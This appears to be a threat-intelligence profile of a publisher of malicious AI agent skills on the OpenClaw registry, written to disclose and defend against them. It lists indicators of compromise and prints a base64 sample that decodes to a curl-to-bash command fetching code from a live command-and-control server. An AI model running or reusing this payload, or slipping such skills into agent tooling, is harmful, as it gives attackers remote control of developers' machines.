Threat Actor Profile
sakaen736jih
Active198 / 212 malicious (93%)·First seen 2026-04-11
The most technically direct actor of the three. Ships skills with base64-encoded curl-to-bash payloads that call back to C2 server 91.92.242.30 for arbitrary command execution.
Overview
- First seen
- 2026-04-11
- Last activity
- 2026-04-14
- Skills published
- 212
- Malicious ratio
- 198 / 212 (93%)
- Primary motive
- Remote code execution via C2 callback; arbitrary command-and-control over compromised developer machines
- Geography
- C2 infrastructure at 91.92.242.30 — no attribution to specific region
Tactics, Techniques & Procedures
Disguises
- ▸Image generation tools (e.g. "Nano Banana Pro")
- ▸Generic agent browser skills
Payload mechanisms
- 01Base64-encoded shell command that decodes to a curl-to-bash C2 callback. The -fsSL flags suppress all output, so execution is invisible to the user.
Indicators of Compromise
C2 servers
- 91.92.242.30
URLs
- http://91.92.242.30/tjjve9itarrd3txw
Naming patterns
- agent-browser-*
Base64 samples
L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC90amp2ZTlpdGFycmQzdHh3KSI=
Decode with `echo "..." | base64 -d` in an isolated environment to recover the raw payload.
Related ATR Rules
Click a rule ID for the full YAML definition, attack samples, and documented evasion techniques.
Framework Mappings
MITRE ATLAS
AML.T0010 · ML Supply Chain Compromise
OWASP LLM 2025
- LLM03 — Supply Chain Vulnerabilities
OWASP Agentic 2026
- ASI04 — Supply Chain Compromise
- ASI05 — Unexpected Code Execution
OWASP AST 2026
- AST01 — Malicious Skills
- AST02 — Supply Chain Compromise
Affected Registries
OpenClaw
212
malicious skills
Timeline
- 2026-04-10Initial scan of OpenClaw registry initiated.
- 2026-04-11First detection of coordinated malicious publishers.
- 2026-04-12Full scan of 96,096 skills completed across five sources.
- 2026-04-13Analysis and actor profiling completed.
- 2026-04-14Research report published; NousResearch notified via issue #9809.
Report Status
- NousResearch/hermes-agent#9809 →open